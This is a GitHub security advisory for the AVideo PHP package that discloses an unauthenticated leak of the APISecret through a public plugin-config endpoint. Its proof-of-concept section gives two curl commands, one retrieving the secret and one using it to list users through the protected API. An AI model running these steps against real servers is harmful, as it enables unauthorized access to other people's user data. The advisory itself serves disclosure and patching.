GHSA-xr49-f4rh-qcjf

Suggest an improvement
Source
https://github.com/advisories/GHSA-xr49-f4rh-qcjf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-xr49-f4rh-qcjf/GHSA-xr49-f4rh-qcjf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xr49-f4rh-qcjf
Aliases
Published
2026-05-05T22:20:42Z
Modified
2026-05-13T14:47:35Z
Severity
  • 7.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization
Details

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret. That secret is accepted by plugin/API/get.json.php as authentication.

PoC

  1. Get plugin config (contains APISecret):
curl 'http://<host>/objects/plugins.json.php'
image
  1. Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \
  --data-urlencode 'APIName=users_list' \
  --data-urlencode 'APISecret=<APISecret>' \
  --data-urlencode 'rowCount=3' \
  --data-urlencode 'current=1'
image

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.

Database specific 
{
    "cwe_ids":  [
        "CWE-200",
        "CWE-862"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-05-05T22:20:42Z",
    "nvd_published_at":  "2026-05-11T22:22:13Z",
    "severity":  "HIGH"
}
References

Affected packages

Packagist / wwbn/avideo

Package

Name
wwbn/avideo
Purl
pkg:composer/wwbn/avideo

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
29.0

Affected versions

10.*
10.4
10.8
Other
11
11.*
11.1
11.1.1
11.5
11.6
12.*
12.4
14.*
14.3
14.3.1
14.4
18.*
18.0
21.*
21.0
22.*
22.0
24.*
24.0
25.*
25.0
26.*
26.0
29.*
29.0

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-xr49-f4rh-qcjf/GHSA-xr49-f4rh-qcjf.json"